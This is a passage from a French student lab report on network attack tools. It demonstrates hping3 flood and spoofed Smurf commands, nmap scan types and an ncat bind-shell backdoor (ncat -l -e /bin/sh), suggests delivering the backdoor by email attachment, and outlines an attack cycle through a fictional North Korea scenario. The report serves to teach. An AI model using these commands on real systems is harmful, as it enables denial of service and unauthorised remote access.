réception (SYN-ACK) au client, mais ne reçoit pas le message ACK. Le serveur construit
dans sa mémoire système une structure de données décrivant toutes les connexions. Cette
structure de données est de taille finie, et elle peut être débordée en créant
intentionnellement trop de connexions partiellement ouvertes.

Réalisation de l’attaque :

HPING permet d'effectuer un déni de service avec par exemple la commande suivante :
hping3 -i u10 192.168.10.2 -p 80 -S --flood
qui envoi à l'adresse 192.168.10.2, sur le port 80, des paquets de type SYN (-S) à l'intervalle
de 10 microsecondes (-i u10).

Mais avant tout, pour réaliser une attaque, la première étape consiste à scanner les ports
ouverts d'une machine donnée pour en chercher les vulnérabilités. Pour cela, nous avons
utilisé l'outil nmap.

Résultats de l’attaque :

Le serveur web devient très ralentit voir même inopérant.

Attaques PING flood :

hping -1 –i u10 @IP_MACHINE_CIBLE


L’argument -1 précise que les paquets se font en ICMP, (défaut des « echo request »).

hping3 -d 120 -w 64 -p 80 --flood --rand-source 192.168.1.254

Résultat : Surcharge de CPU d'une machine cible.

28
Attaque Smurf :
Cette attaque utilise le protocole ICMP. Quand un ping (message ICMP ECHO) est envoyé à
une adresse de broadcast (par exemple 10.255.255.255), celui-ci est démultiplié et envoyé à
chacune des machines du réseau. Le principe de l’attaque est de spoofer les paquets ICMP
ECHO REQUEST envoyés en mettant comme adresse IP source celle de la cible. Le cracker
envoie un flux continu de ping vers l’adresse de broadcast d’un réseau et toutes les
machines répondent alors par un message ICMP ECHO REPLY en direction de la cible. Le
flux est alors multiplié par le nombre d’hôte composant le réseau. Dans ce cas tout le réseau
cible subit le déni de service, car l’énorme quantité de trafic générée par cette attaque
entraîne une congestion du réseau.

hping 192.168.1.255 -1 -fast -a 192.168.10.2

Attaque ARP Poisoning :


Cette attaque se base sur l'envoi d'informations ARP falsifiés. Ainsi, les différents
équipements du LAN apprennent des mauvaises correspondances adresses IP avec MAC.
La conséquence est de rompre toutes communications entre deux équipements IP. Les
cibles sont souvent les serveurs et les routeurs rendant indisponible les services associés.

Attaque Unreachable Host :


Cette attaque envoie des messages ICMP de type "Host Unreachable" à une cible,
provoquant la déconnexion des sessions et paralyse ainsi la victime. La simplicité de cette
attaque est qu'elle demande qu'un faible débit du fait que les envois de datagramme ICMP
peuvent être sur une faible cadence.

Attaque TCP SYN :


Cette attaque consiste à démarrer une ouverture de session TCP via un SYN à destination
d'un port ouvert de la machine cible. L'objectif étant de saturer le nombre maximum de
sessions TCP en cours de l'équipement IP assaillis. Ainsi, lorsque cette limite est atteinte, la
cible ne pourra plus établir aucune session TCP causant une indisponibilité de tous ces
applications en écoute de port TCP. Les SynCookies représente une solution technique
relativement efficace. Sur le même principe que les cookies HTTP, le serveur sollicité
renvoie un cookie crypté dans le SYN/ACK, puis il efface l'entrée de sa file d'attente. Si c'est
un client régulier il lui renverra un ACK, dont on peut déduire le cookie et reconstitué ainsi
l'entrée dans la file d'attente. La problématique de cette technique est que tout le monde
n'implémente pas ce mécanisme provoquant ainsi des problèmes de compatibilité.

Avantages et Inconvénients :
Avantages :
Il permet de générer des paquets TCP, UDP, et ICMP contrairement à l'utilitaire ping d'Unix,
qui ne permet lui que d'envoyer des paquets ICMP.
Hping est principalement utilisé comme un outil de sécurité, mais il peut être utilisé sous
diverses formes comme : test de firewall et du réseau ou traceroute avancé.

Inconvénients :
Les attaques ne proviennent que d'une seule machine, de ce faite les attaques du type PING

29
Flood (ICMP flooding) ralentissent la machine mais pas suffisamment pour l'empêcher
d'émettre les RST qui mettent fin à la connexion (la connexion est réinitialisée).

Conclusion
hping montre de réels atouts face aux solutions de test plus anciennes telles que ping ou
fping. En effet, il apporte la nouveauté de pouvoir réaliser simplement des requêtes
entièrement paramétrables avec les protocoles TCP/UDP. Cette possibilité permet plusieurs
fonctions avancées qui s'avèrent très utiles, comme tester la politique d'un firewall sur des
ports bien particuliers, ou le transfert de fichiers à travers un firewall paranoïaque, ou encore
le test d'une liaison.
Au final, on peut dire que hping apport à la commande ping l'aspect quantitatif, c'est à dire
qu'en plus de savoir si un hôte est connecté ou non, on peut obtenir de nombreux
renseignements sur la sécurité de cet hôte et de la liaison qui nous joint à lui.

30
Outil Nmap
Introduction
Nmap est un outil de reconnaissance réseau. Il permet de connaître les machines présente,
allumée et accessible autant sur un réseau local que distant. Il permet aussi de déterminer
les ports ouverts sur ces machines. Les ports ouverts sont des portes d’entrée de la
machine. Derrière un port ouvert peut se cacher un service notablement vulnérable. Les
informations obtenues peuvent donc être utilisé pour planifier des attaques. Cet outil
supporte aussi un langage de script (NSE) et peut faire de la reconnaissance poussée sur
les systèmes d’exploitation, les services, ainsi que leurs versions.

Initialement publié en 1997, il s’est imposé, de par ses fonctions poussées, comme un outil
incontournable autant dans le monde l’administration réseau que dans le monde de la
sécurité. Il existe de nombreux type de scan réseau. Chacun de ces scans ont été créé pour
exploiter des failles dans certains pare-feu. En effet, ces derniers bloquent, généralement,
les scans réseaux.

Il s’appuie sur les couche 2 (liaison), 3 (réseau), 4 (transport) et 7 (application) du modèle


OSI pour arriver à ses fins.

Fonctionnalités
Dans les captures d’écran suivantes, l’expérimentation s’est passé dans des réseaux privés
adressé, uniquement en IPv4, en 10.1.0.0/24 et en 10.2.0.0/24. L’attaquant était
l’hôte 10.1.0.6. La cible dans le réseau de l’attaquant était adressé en 10.1.0.7. La cible
présente dans un réseau distant a été l’hôte 10.2.0.7. Enfin, la gateway, qui a aussi servi
de résolveur DNS, était à l’adresse 10.1.0.8. Enfin, le serveur avait le port 80 d’ouvert et
en écoute. Son port 8080 nie tous segments qui lui est envoyé, et les ports de 8081 à 8087
répondent tous avec des ICMP type 3, mais chacun à un code différent des autres. Tous les
autres ports sont ne sont pas filtrés.

Certain scans nécessitent la capacité Linux NET_RAW, qu’un utilisateur standard n’a pas.
Elle sert à forger ses propres paquets. Cela sert pour manipuler les couche OSI 2 et 3 sans
passer par l’OS, de façon à jouer sur les options. C’est la raison pour laquelle, généralement,
on demande les droits administrateurs pour lancer ces type de scan.

Scan Ping
Le Scan Ping ou Ping sweep ou encore balayage ping permet de connaître les machines
allumée, et accessible dans un réseau. Pour réaliser cela, nmap a différentes stratégies,
selon que l’on soit dans le même réseau ou non.

L’option à utiliser pour cela est l’option -sn pour “no port scan”. Cette options était connue
sous le nom de -sP pour “Scan Ping”.

31
Dans un même réseau
Si l’on est situé dans le même réseau, l’outil va demander à la machine directement si elle
est allumé, connecté au réseau, et accessible avec une requête ARP. L’intérêt des requêtes
ARP est qu’il est difficile de les bloquer : cela empêcherait tout échange réseau, même
légitime, avec la machine qui les bloque.

Enfin, pour afficher un nom de domaine pour chaque machine, au lieu d’une IP, il effectue
une résolution DNS inverse. Afficher un nom de domaine au lieu d’une IP sert à vérifier que
l’on attaque bien la bonne cible.

Voici le graphe de communication pour la commande nmap -sn 10.1.0.7:

Dans un réseau différent


Si l’on est situé dans un réseau différent, plusieurs problèmes se posent. D’abord, les
communications sur la couche 2 ne pourront pas être routé jusqu’à l’hôte distante. Il n’est
donc plus possible d’utiliser des requêtes ARP. De plus, il peut y avoir un pare-feu entre
l’attaquant et la cible. Il faut donc trouver un moyen de ne pas être filtré par le pare-feu.

Donc nmap utilise, dans un premier temps une requête ICMP type 8 code 0 (echo request, le
fameux ping). En effet, c’est la façon la plus courante pour cela.

Ensuite, s’il a la capacité Linux NET_RAW, il effectue un scan ACK sur le port 80, sinon, il
passe par la fonction UNIX connect, et donc effectue un scan TCP Connect. Le scan ACK
se traduit par un envoi d’un paquet TCP ACK sur le port 80.

S’il n’a pas la capacité Linux NET_RAW, il effectue un scan SYN sur le port 443, sinon, il
passe par la fonction UNIX connect, et donc effectue un scan TCP Connect. Le scan SYN
se remarque par un envoi d’un paquet TCP SYN sur le port 443.

Enfin, nmap envois un ICMP type 13 code 0 (timestamp request), car les administrateurs le
filtrent rarement, par méconnaissance.

De plus, pour afficher un nom de domaine pour chaque machine, au lieu d’une IP, il effectue
une résolution DNS inverse. Cela sert à vérifier que l’on attaque bien la bonne cible.

Dès que l’hôte distante revois quelque chose, elle est considéré comme allumé et
accessible.

L’inconvénient de cette méthode est qu’il ne s’agit pas de la méthode d’énumération la plus
discrète, car tous les paquets sont censé éveiller les soupçons. Toutefois peu d’outils
permettent d’arriver à ces fins.

Nmap utilise un scan ACK et un scan SYN dans ce scan pour maximiser les chances
d’obtenir une réponse. En effet, certain pare-feu ne bloque pas les ACK, et d’autres ne
bloquent pas le SYN sur certains ports, pour autoriser la connexion TCP.

32
C’est pour la même raison que nmap scan les ports 80 et 443 : ces ports sont
incontestablement les plus utilisés.

Voici le graphe de communication pour la commande nmap -sn 10.2.0.7 avec un


utilisateur privilégié :

Scan Syn
Le scan Syn permet de différencier les ports ouverts, ceux fermés et ceux filtrés. Ce scan
nécessite la capacité Linux NET_RAW, qu’un utilisateur standard n’a pas. C’est la raison pour
laquelle, généralement, on demande les droits administrateurs pour lancer ce type de scan.

Pour effectuer ce scan, il va procéder à l’envoi de d’un segment TCP avec le flag SYN, pour
simuler un début de connexion TCP.

Si le port répond par un segment TCP possédant le flags SYN, accompagné ou non du flag
ACK, alors le port est considéré comme ouvert, et nmap réplique par un segment TCP avec
les flags RST et ACK, pour réinitialiser la connexion TCP.

Si le port répond par un segment TCP possédant le flag RST, alors le port est considéré
comme fermé. En effet, le flag RST sert à réinitialiser la connexion TCP.

Dans tous les autres cas, le port est considéré comme filtré.

Enfin, pour afficher un nom de domaine pour chaque machine, au lieu d’une IP, il effectue
une résolution DNS inverse. Cela sert à vérifier que l’on attaque bien la bonne cible.

L’avantage de ce scan est que ce scan soit plutôt discret vis-à-vis d’un pare-feu simpliste et
vis-à-vis du service. En effet le pare-feu simpliste ne va pas détecter un abus, et le service
ne va pas recevoir de connexion, car la connexion sera fermée avant que le noyau donne la
main au service.

L’inconvénient de cette méthode est qu’il est facile de le détecter avec un SIEM.

Voici le graphe de communication pour la commande nmap -sS 10.1.0.7 -p


80,8080-8087,8089 avec un utilisateur privilégié. Dans ce scan seul le port 80 a été
considéré comme ouvert, et seul le port 8089 a été considéré comme fermé. Les autres ont
été considérés comme filtrés.

33
Scan Ack
Le scan Ack est un scan de port. Il ne permet pas de discriminer les ports ouverts de ceux
fermé, mais sert à trouver quels ports sont filtrés. A l’instar du scan Syn décrit ci-dessus, il
nécessite la capacité Linux NET_RAW, qu’un utilisateur standard n’a pas. C’est la raison pour
laquelle, généralement, on demande les droits administrateurs pour lancer ce type de scan.

Pour mettre en place ce scan, nmap va envoyer un segment TCP avec le flag ACK. Ce flag
sert à passer outre certains pares-feux qui ne filtrent pas les ACK en début de connexion.

Quand le port n’est pas filtré, s’il reçoit ce flag en début de connexion TCP, il répond avec un
flag RST, pour réinitialiser la connexion. En effet, la connexion TCP ne s’est pas
correctement ouverte alors.

Dans tous les autres cas, le port est considéré comme filtré.

Enfin, pour afficher un nom de domaine pour chaque machine, au lieu d’une IP, il effectue
une résolution DNS inverse. Cela sert à vérifier que l’on attaque bien la bonne cible.

L’inconvénient majeur de ce scan est qu’il est facile, désormais, de la bloquer, même avec
un pare-feu simpliste et minimaliste. De plus, avec un SIEM, le scan a très peu de chance de
passer inaperçue.

Voici le graphe de communication pour la commande nmap -sA 10.1.0.7 -p


80,8080-8087,8089 avec un utilisateur privilégié. Dans ce scan seuls les ports 80 et 8089
ont été considérés comme non filtrés.

34
Scan TCP Connect
Le scan TCP Connect sert à déterminer les ports ouverts, ceux fermé, et ceux filtrés. A
contrario des scans précédemment présentés, ce scan n’a pas besoin la capacité NET_RAW,
car il utilise la fonction UNIX connect. Ce scan est donc utilisé quand nmap n’est pas lancé
avec la capacité Linux précédemment cité.

Pour effectuer ce scan, nmap va ouvrir une connexion TCP complète, puis, directement,
fermer la connexion.

Alors nmap va d’abord envoyer un segment TCP avec le flag SYN.

Si un segment avec le flag RST lui est retourné, le port est considéré comme fermé.

Si le port lui répond avec un segment TCP possédant les flags TCP SYN et ACK, alors nmap
considère le port comme ouvert, et va finir d’ouvrir la connexion TCP, puis, sans attendre, la
fermer. C’est-à-dire qu’il va répondre un segment TCP avec, uniquement, les flags ACK, puis
un autre avec les flags RST et ACK.

Dans tous les autres cas, le port est considéré comme filtré.

Enfin, pour afficher un nom de domaine pour chaque machine, au lieu d’une IP, il effectue
une résolution DNS inverse. Cela sert à vérifier que l’on attaque bien la bonne cible.

L’avantage notable de cette technique est qu’il est impossible de bloquer correctement le
scan sans affecter la qualité de service. De plus il est compliqué de le remarquer avec un
SIEM. Il est par contre plus facile de le repérer dans les logs des services : la connexion est
fermé sitôt ouverte, sans faire transiter de données. Un service peut donc s’affoler à cause
de cela. Ensuite, l’attaquant n’est pas obligé d’avoir des droits supérieurs aux droits
standard. On peut ainsi imaginer un scan effectué depuis une machine corrompue, sans à
avoir à effectuer une élévation de privilèges au préalable.

35
Voici le graphe de communication pour la commande nmap -sT 10.1.0.7 -p
80,8080-8087,8089 avec un utilisateur privilégié. Dans ce scan seul le port 80 a été
considéré comme ouvert, et seul le port 8089 a été considéré comme fermé.

Contexte d’utilisation
Nmap peut être utilisé pour réaliser la cartographie complète d’un réseau local ou distant,
ainsi que de connaître les logiciels et les OS de ces hôtes. Cela est utile pour les
administrateurs réseau pour les consultant en sécurité, ainsi que pour les attaquants.

Nmap permet de connaitre un réseau, pour pouvoir plus facilement sécuriser ou attaquer les
hôtes d’un réseau.

Dans le cadre de l’exercice que nous effectuons, cet outil nous sera très utile pour connaître
notre réseau et pour découvrir des machines potentiellement vulnérables. Cela nous sera
aussi utile pour organiser les mesures défensives de notre réseau, ainsi que pour mener des
attaques sur notre infrastructure, dans le cadre de sécurité offensive.

Conclusion
Nmap est donc un puissant outil, dont peu de fonctions ont été décrite ici. Nous avons pu
remarquer qu’il possède différent type de scan réseau. Cela procure à l’outil l’avantage d’être
utilisable dans n’importe quel contexte et n’importe quel environnement.

Il est utilisé uniquement dans la phase de reconnaissance active. Il est utilisé pour connaître
et cartographier un réseau local tout comme un réseau distant. Il peut aussi être utilisé pour
découvrir des services, ainsi que les plateformes des cibles.

Il semble bon de préciser, à ce stade, que le scan de port sans permission de la part des
cibles est strictement interdit et est répréhensible par la loi.

36
Sources
Les sources utilisées afin de proposer ce document ont été :

● Le site de nmap, https://nmap.org,


● Le manuel anglais de nmap, celui en français étant obsolète et ne représentant plus
la réalité,
● Et, bien sûr, l’observation de nmap lors de son utilisation

37
Outil Netcat
Presentation

Netcat est un outils Unix simple permettant d'ouvrir des connexions réseau, que ce soit UDP
ou TCP. Il est conçu pour être incorporé aisément dans un large panel d’applications. Il
permet aussi d’envoyer des paquets UDP, écouter sur des ports, faire du scan de ports à la
fois sur des adresses IPv4 et IPv6 mais aussi de transférer des fichiers. Cet outil s’utilise en
ligne de commande. Netcat et nc sont deux noms donnés pour le même programme. La
version nc prend plus d’options que netcat. Enfin, ncat est aussi un programme similaire
mais il a été repris par Nmap. Nous allons voir comment se servir de cet outil à travers
différents exemples.

Développement technique

Tout d’abord, nous allons présenter les options principales que nous pouvons utiliser
avec cet outil:
-l permet de faire de l’écoute de port.
-p permet de spécifier le port d’écoute ou sélectionner le port de connexion.
-v pour « verbose », permet de donner plus d’explication lors de l’exécution des commandes
de nc.
-e pour « exec command », permet d’exécuter la commande donnée en paramètre.

Utilisation

Une fois ces options connues, nous allons montrer quelles sont les utilisations possibles de
l’outil en les illustrant par des exemple.

Ecoute d’un port - Simulation client/serveur


On lance en premier la commande suivante :
$nc -lvp 1337 qui nous permet d’écouter sur notre port numéro 1337.
Ensuite, la commande $nc localhost 1337 nous permet, sur la même machine, de
simuler un serveur. Il faut ajouter le port 1337 pour que le client et le serveur communique
sur le même port.

Scan de ports via la commande


$ nc -v -z 192.168.0.2 1-5
L’option -z spécifie que nc scanne uniquement pour écouter les daemons, sans leur envoyer
aucune donnée.
Voici un exemple de réponse renvoyée par nc:

38
Nc :connct to 192.168.0.2 port 1 (dccp) timed out: Operation now in
progress
Nc :connct to 192.168.0.2 port 2 (dccp) timed out: Operation now in
progress
Nc :connct to 192.168.0.2 port 3 (dccp) timed out: Operation now in
progress
Nc :connct to 192.168.0.2 port 4 (dccp) timed out: Operation now in
progress
Nc :connct to 192.168.0.2 port 5 (dccp) timed out: Operation now in
progress

Transfert de fichier
Celui qui envoi un fichier rentre la commande suivante:
$nc 192.168.100.131 8000 < coucou.jpg
On a donc $nc [hostname] [port] [fichier].
Le destinataire doit ouvrir le même port puis écouter via la commande:
$ nc -lvp 8000
Si nécessaire il peut redirigé le fichier de la façon suivant:
$ nc -lvp 8000 > coucouRecu.jpg

Backdoor
De façon globale et dans le contexte de notre infrastructure, nous pouvons mettre en place
une backdoor, en français porte dérobée. Cette dernière nous permet de maintenir un port
ouvert sur une machine cible. Il existe deux types de backdoors : locale ou distante. Les
premières utilisent les services existants alors que les distantes sont des programmes
individuels qui peuvent être appelés à distance.
Netcat permet de réaliser une backdoor simple. En laissant un exécutable de ncat sur le
serveur cible, on le lance sur un port désigné pour s’y connecter de l’extérieur de la façon
suivante:
$ncat -l -e /bin/sh -p 2121

Avec cette commande, ncat lance sur le port 2121 le programme /bin/sh, le shell Unix.
Celui ci s’exécute grâce à l’option -e. Enfin, il attend les connexions.
Cette commande doit être lancée sur le serveur cible et pour ce faire, on pourrait par
exemple envoyer un mail avec une pièce jointe. Une fois le document ouvert,
automatiquement la commande ci-dessus s’exécute. Nous verrons comment mettre en place
la backdoor d’une autre façon dans la partie Attaque.

La commande suivante permet de se connecter de façon distante à la machine cible:


$ncat ip_serveur 2121

39
On constate dans le terminal de droite que si l’on rentre une commande, comme ls, la
réponse est celle du terminal de gauche.

Etude du processus dans Wireshark:

On constate que ncat utilise le protocole TCP avec différents flags:


Les premiers paquets correspondent à l’établissement de la connection. On identifie le «

Three way handshake ».

40
Pour le paquet n° 11 entre autres, on constate que le flag TCP PUSH est utilisé: ce flag sert
à signaler à TCP qu'il doit transmettre les données reçues aux couches supérieures. En
effet, si le client envoie son paquet avec ce flag, le serveur le traitera directement sans
attendre que le buffer soit plein.

Voici le graphe des flux TCP d’un autre exemple de backdoor mis en place :

Chaque ligne représente un paquet TCP. On y retrouve la « Three way handshake » et on


remarque à nouveau que le flag PUSH est utilisé.

Conclusion

Pour conclure, netcat est un outil qui s’utilise facilement. Sa puissance vient du fait qu’il
écoute sur l’entrée standard et écrit sur la sortie standard. Il est donc possible de combiner
les fonctionnalités réseau de netcat avec la puissance du shell. Par exemple, on peut piper
l’entrée ou la sortie de netcat ou bien la rediriger dans un fichier. De plus, il ne se limite pas à
se connecter à un autre netcat mais peut tout à fait se connecter à un service existant et
dialoguer avec. Cependant, nous pouvons tout à fait lire les données envoyées par Netcat
comme le montre wireshark. Pour remédier à cela, nous pouvons utiliser cryptcat. Cet outil
s’utilise exactement comme Netcat mais chiffre le trafic grâce à un algorithme de chiffrement
symétrique.

41
Stratégie offensive
Attaque étape 4 7 Exfiltration

Attaque étape 3 6 Maintien de l’accès

Attaque étape 2 5 Exploitation

Attaque (analyse) étape 1 4 Préparation du cycle offensif

Reconnaissance (active) 3 Renseignement des actifs numériques (scan des


étape 3 ports + déduction des services primaires)

Reconnaissance (active et 2 Renseignement des systèmes informatiques de la


passive) étape 2 cible (cartographie)

Reconnaissance (passive) 1 Renseignement d’origine source ouverte


étape 1

1) La reconnaissance
Le renseignement permet de capitaliser un ensemble d’informations stratégiques dans le
dessein de pouvoir décider et réaliser des actions en connaissance de causes. C’est
notamment dans ce cas qu’en France, nous possédons un bon nombre de services de
renseignement comme :

- La direction du renseignement militaire (DRM) ;


- La direction générale de la sécurité extérieur (DGSE) ;
- La direction générale de la sécurité intérieure (DGSI) ;
- La direction du renseignement et de la sécurité de la défense (DRSD) ;
- etc.
Concernant le cyberespace ou en français l’espace du numérique, toute information récoltée
permet de réaliser des attaques sur l’environnement numérique (immatériel) à l’encontre
d’une organisation.

Nous allons maintenant vous présenter dans les trois points suivants notre stratégie de
reconnaissance selon nos contraintes et notre projet global. Ce modèle est par nature plus
large, il est volontairement réduit et adapté à notre contexte.

42
1.1) Le renseignement d’origine source ouverte
Le renseignement d’origine source ouverte (ROSO) ou encore appelé en anglais Open-
Source Intelligence (OSINT) est le fait de récolter de l’information de manière passive afin
d’être le plus furtif possible. Récolter de l’information en étant passif permet de solliciter des
composantes numériques de la toile sans directement affecter les systèmes informatiques
de l’organisation cible.

Des informations stratégiques sont présentes sur l’espace du numérique :

- Le(s) site(s) internet (on y retrouve principalement des adresses, des numéros de
téléphone, des adresses courriels, des bases de données, des identifiants, des mots
de passe, des informations “confidentielles”, et autres informations intéressantes) ;
- Les réseaux sociaux (on y retrouve principalement des adresses, des numéros de
téléphone, des adresses courriels, des publications concernant l’organisation cible) ;
- Les services numériques de l’organisation (on peut déterminer où sont situés les
services de messagerie par exemple) ;
- etc.
Ce type de reconnaissance est une composante majeure dans le cadre de l’intelligence
économique et stratégique. Dans le cadre de l’intelligence stratégique, l’information permet
la prise de décision pour tout acteur. Ci-dessous, vous trouverez un résumé synthétique de
l’intelligence stratégique :

Comme on peut le voir, ce qui est applicable dans le monde physique est également
applicable dans le monde numérique. Les manières de faire ne sont pas les mêmes mais se
rejoignent.

43
Dans notre cas, étant une infrastructure construite de manière isolée et n’étant pas rattachée
à une organisation existante, nous n’avons pas appliqué cette étape.

1.2) Le renseignement des systèmes informatiques de la cible


Le renseignement des systèmes informatiques de la cible consiste à recenser
qualitativement et quantitativement chaque composante d’un système informatique d’une
organisation. Comme les pirates l’indiquent, nous parlons de définir un “air de jeu”.

Cette étape de renseignement est également appliquée par les organisations. En effet, un
administrateur système et réseau doit posséder la cartographie de son système informatique
afin de pouvoir superviser chaque élément délivrant un service pour son organisation. En
tant que “pirate”, nous nous devons d’avoir le même niveau de connaissance de
l’infrastructure voire plus que les différents administrateurs systèmes et réseaux de
l’organisation.

Vous trouverez ci-dessous, l’image représentant un exemple de supervision du réseau :

Dans le dessein de déterminer l’architecture réseau de l’organisation nous allons devoir nous
appuyer sur deux couches du modèle OSI :

Couche Niveau du modèle OSI Unité de données

Niveau 7 : Application Donnée

44
Haute Niveau 6 : Présentation Donnée

Niveau 5 : Session Donnée

Niveau 4 : transport Segment

Niveau 3 : réseau Paquet

Matérielle Niveau 2 – liaison de données Trame

Niveau 1 – physique Bit

Les couches 2 et 3 du modèle OSI vont nous permettre de réaliser cette cartographie en
temps réel. Il faut bien prendre en compte qu’une cartographie se réalise de manière active
puis passive. En effet, des composantes du système informatique de l’organisation peuvent
ne pas être alimentés électriquement à l’instant t mais peuvent l’être à l’instant t+1.

Sur le plan quantitatif, la découverte de réseau sur le niveau deux et trois du modèle OSI va
nous permettre de déterminer le nombre de machines actives sur le réseau de l’organisation
à l’instant t.

Sur le plan qualitatif, avec les informations récoltées et l’utilisation d’outils spécifiques
comme ceux développés en préambule, vont permettre de définir la nature des différentes
composantes découvertes. C’est à dire si le composant est :

- Un équipement réseau (commutateur, routeur, pare-feu) ;


- Un terminal client ll(ordinateur bureautique fixe ou portable) ;
- Un terminal serveur.
Ainsi que potentiellement découvrir des solutions matérielles ou logicielles de sécurité
comme les sondes, les pare-feux, les solutions de gestions des événements et des
informations de sécurité (SIEM).

Nous pouvons également déterminer le système d’un composant du système informatique


ainsi que sa version.

1.3) Le renseignement des actifs numériques


Le renseignement des actifs numériques consiste à récolter des informations plus précises
sur le système informatique de l’organisation. En effet, une fois que nous avons recensé
qualitativement et quantitativement les composantes du système informatique de
l’entreprise, nous allons pouvoir nous intéresser plus précisément à ces différentes
composantes. Nous réaliserons une analyse dans le détail de toute communication
d’information sur le réseau. Cela va nous permettre de comprendre le trafic qui transite
légitimement sur le réseau de l’organisation.

En parallèle, nous allons pouvoir cibler les composantes ayant la qualité de serveur ou
d’équipement réseau. De ce fait, nous allons pouvoir recenser les ports ouverts (TCP et
UDP) sur ces différentes composantes. Ensuite, nous allons pouvoir analyser les

45
vulnérabilités (système, de configuration, réseau, etc) afin de déterminer quelles sont les
points faibles de ce système informatique.

Concernant le modèle OSI nous allons agir sur toutes les couches hormis le niveau un car
nous n’avons normalement pas accès physiquement aux différents équipements :

Couche Niveau du modèle OSI Unité de données

Niveau 7 : Application Donnée

Niveau 6 : Présentation Donnée

Haute Niveau 5 : Session Donnée

Niveau 4 : transport Segment

Niveau 3 : réseau Paquet

Matérielle Niveau 2 – liaison de données Trame

Niveau 1 – physique Bit

2) L’attaque
Une fois la phase de reconnaissance finalisée, nous allons pouvoir déterminer s’il existe un
ou des systèmes d’information concernant l’organisation. Nous avons pu voir que la phase
de reconnaissance est très importante car elle nous permet de disposer de toutes les
informations nécessaires pour préparer et réaliser les diverses attaques informatiques que
nous allons réaliser par la suite.

La suite des événements sera réalisée de manière agile. Nous allons reprendre le principe
de SCRUM avec la réalisation de tâche de manière itérative. La préparation représentera
l’étape “story” qui est stockée dans le “backlog” et les étapes suivantes seront considérés
comme des “sprint”. Le produit partiel livrable étant l’exfiltration des données cibles.

Ci-dessous vous trouverez le processus que SCRUM emploi :

46
Maintenant que nous disposons de notre base de données complète avec toutes les
informations nécessaires, nous allons pouvoir commencer à “jouer” réellement.

2.1) Préparation du cycle offensif


La préparation est essentielle afin que les attaques suivantes puissent se réaliser
correctement. Cette étape permet notamment de pouvoir traiter et analyser l’ensemble des
informations précédemment récoltés. Chaque information recensée va être annoté de
plusieurs critères qui sont :

- Est-ce que l’information est fiable (faux positif par exemple) ?


- Est-ce qu’une attaque est réalisable (existe t-il une vulnérabilité à exploiter) ?
- Est-ce que l’attaque possède un niveau de faisabilité correct propre au contexte ?
- Est-ce que le niveau de réussite de cette attaque est élevé ?
- Est-ce que l’attaque va nous permettre de parvenir à nos objectifs ?
- il faut définir pourquoi nous souhaitons attaquer l’organisation
- Est-ce que nous pouvons réaliser cette attaque de manière furtive ?
- Le bruit du système informatique ou du système d’information peut être plus
important que notre attaque et donc potentiellement nous rendre furtif
- Est-ce que nous pouvons anonymiser nos attaques afin de leurrer les enquêtes
poussées (anti-forensic par exemple) ?
Une fois nos “stories” rédigées nous allons pouvoir les intégrer au “backlog” où l’on devra
prioriser les différentes tâches d’attaque dans le dessein de répondre à nos objectifs.

Une fois pesé et priorisé nous allons pouvoir passer en “sprint”.

2.2) Exploitation
La première étape du sprint est constituée de l’exploitation de la vulnérabilité concernée.
Chaque scénario est différent, il est donc difficile de pouvoir donner une méthode générique
pour exploiter une vulnérabilité.

2.3) Maintien de l’accès


La seconde étape du sprint est constituée du maintien de l’accès. Cette étape est très
importante. En effet, si l’on souhaite stabiliser notre connexion pour réaliser l’étape suivante
ou si nous souhaitons revenir dans un moment futur, il faut pouvoir s’assurer que nous
aurons encore accès au système informatique de l’organisation cible.

Pour ce faire on peut implémenter une porte dérobée sur le système informatique de
l’organisation. Le maintien de l’accès se réalise différemment en fonction du contexte et des
différentes vulnérabilités présentes.

2.4) Exfiltration
La dernière étape du sprint est constituée de l’exfiltration des données en fonction des
objectifs que nous nous sommes fixés. Cette étape, quoique optionnelle, est propre au
contexte. Cependant, cette étape peut avoir lieu seulement si les étapes précédentes ont été
couronnées de succès. Une fois cette étape réalisée, nous revenons à l’étape quatre puis
nous réalisons le prochain sprint, et ce jusqu’à avoir épuisé notre backlog.

47
Si nous respectons cette stratégie nous devrions pouvoir réaliser cette attaque sans nous
faire repérer par les différents opérateurs de sécurité de l’organisation et donc pouvoir à nos
différents objectifs.

48
Démonstration
Introduction

Le grand monument Mansudae

Cette démonstration a pour but de nous faire manipuler les outils précédemment étudiés et
présentés. Ce scénario est fictif.

La Corée du Nord s’est dotée récemment d’un tout nouveau système informatique. Etant
nouveau et refusant l’expérience du reste du monde, le parc informatique n’est pas bien
grand et n’est pas bien protégé.

Une force étrangère nous a mandaté pour infiltrer le réseau du dictateur. Notre mission, si
nous l'acceptons, sera de récupérer les codes de désactivation de leur arme nucléaire.

Après moultes périls, nous somme parvenu à entrer dans le local hébergeant les switchs du
petit réseau. N’ayant pas pu faire de reconnaissance préalable pour déterminer le zonage,
nous nous sommes donc branchés sur des ports libres. Nous avons été branchés dans le
VLAN 1, celui d’administration.

Tout d’abord, nous avons voulu être sûr que l’administrateur n’ai pas placé un SIEM. Si ce
dernier nous repère, la première réaction de l’administrateur sera de se connecter au réseau.
Aymeric fera donc un monitoring des machines dans le VLAN d’administration grâce à
netdiscover.

49
Ensuite, Quentin listera les machines accessibles sur le réseau pour déterminer les cibles,
grâce à hping.

Puis, Jean-Baptiste déterminera les services, et leurs version, disponibles sur ce réseau
avec nmap. Cela révèlera des cibles potentielles ainsi que les adresses des serveurs.

Après, Baptiste mettra sur écoute les clients potentiels avec Bettercap.

A ce moment, le guide suprême nord-coréen Kim Jong Un sera sur son poste informatique. Il
va se connecter à PyongYong-ternet, le réseau du type Internet de PyongYang. Par manque
de bonne pratique et d’hygiène numérique, il utilise les mêmes identifiants et mot de passe
pour sa machine que pour PyongYang-ternet.

Baptiste récupèrera donc ses identifiants. Cela va permettre à Grégoire de se connecter en


SSH sur la machine du guide pour pouvoir y installer des portes-dérobés, pour y maintenir
l’accès, avec un service Systemd.

Enfin, Amony pourra se connecter à la machine du personnage pour pouvoir, avec ncat, lui
voler les codes de désactivation de son arme nucléaire.

Page de login de PyongYang-ternet

Netdiscover
Objectifs :

1) Réaliser en premier lieu la découverte du réseau (détermination des terminaux actifs)


2) Monitorer l’arrivée de nouveaux terminaux (possibilité que ce soit l’administrateur qui
nous ait repéré)
Actions :

1) Exécuter un scan passif du réseau avec NetDiscover connecté à un port aléatoire du


commutateur (port 1)
a) exécution de la commande : netdiscover -p
2) Exécuter un scan actif sur toutes les adresses de classe privé (A,B,C) et activer le
mode passif suite au scan actif
a) netdiscover -P -L
3) Exécuter un scan passif du réseau avec NetDiscover connecté à un port aléatoire du
commutateur (port 5)
